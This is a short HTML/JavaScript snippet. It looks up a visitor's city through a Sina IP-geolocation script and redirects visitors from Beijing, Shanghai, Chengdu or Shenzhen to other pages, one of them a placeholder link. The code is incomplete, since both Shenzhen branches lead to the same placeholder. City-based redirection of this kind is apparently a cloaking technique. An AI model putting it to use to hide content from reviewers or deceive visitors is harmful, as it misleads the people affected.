<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" tppabs="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js">
</script>
<form action="#" method="post">
<input type="hidden" name="ip" id="ip" value="" />
<SCRIPT> var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=city; </SCRIPT>
</form>
<script language="javascript">
var address = document.getElementById("ip").value;
if(address ==""){
document.write("访问出错")
}else if(address == "北京"|| address == "上海"|| address == "成都"){
window.location="index.htm"
}else{
}
</script>
<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset="GB2312" ></script>
<script type=text/javascript>
if(remote_ip_info.city =='深圳'){
window.location.href="跳转链接";
}else{
window.location.href="跳转链接";
}
</script>
